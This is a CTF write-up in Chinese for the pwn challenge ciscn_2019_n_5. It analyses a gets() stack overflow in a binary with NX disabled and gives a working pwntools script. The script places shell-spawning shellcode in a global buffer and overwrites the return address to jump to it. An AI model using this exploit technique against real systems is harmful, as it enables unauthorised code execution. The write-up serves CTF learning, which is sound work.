题目分析
1 反编译,寻找可以利用的地方
main函数的反编译结果如下:
int main(void)
{
1 char text [30];
2 setvbuf(stdout,(char *)0x0,2,0);
3 puts("tell me your name");
4 read(0,name,100);
5 puts("wow~ nice name!");
6 puts("What do you want to say to me?");
7 gets(text);
return 0;
}
从代码中分析: 1)有两个可输入的变量,一个是name,一个是text,从输入函数判断,只有text存在溢出可能。 2)没有可以回显内存地址的地方。
2 寻找利用方法
1)继续分析代码,查找是否有可以利用的函数(系统调用类的或者/sh之类的关键字),未找到 2)查看ELF属性,NX disabled,说明栈可执行。 3)根据已有信息推测大概率可以用用栈执行shellcode方法,那剩下一个问题,如何确定shellcode的地址? 4) 仔细分析,有两个变量可以供输入,其中text可以溢出,但是是局部变量,没法获取地址;另外一个name是全局变量,可以获取地址,但是没法溢出,因此可以存放shellcode。(虽然这个推理很明显,但是本人愚钝,确实想了好一会) 5)到这里题目的解决方法就完整了,找到溢出地址(pattern offset之类的),利用text溢出跳转到name(存放shellcode)。
3 攻击脚本
1 from pwn import *
2
3 elf = ELF('ciscn_2019_n_5')
4
5 context(arch = 'amd64', os = 'linux',log_level = 'debug')
6
7
8 shellcode=asm(shellcraft.amd64.linux.sh())
9 print(len(shellcode))
10 print(shellcode)
11
12 sh = process('./ciscn_2019_n_5')
13 sh.recvuntil('name')
14 sh.sendline(shellcode) // 发送shellcode
15 sh.recvuntil('me?')
16 pad = 'A' * 40 // 长度40溢出
17 print(pad)
18 sh.sendline(pad.encode() + p64(0x00601080)) // 0x00601080为name地址
19 sh.interactive()
总结
前段时间有点忙,荒废了一段时间,作为老年组选手,找shellcode存放地址的时候费了点时间,说明理解还不够深入,继续。
|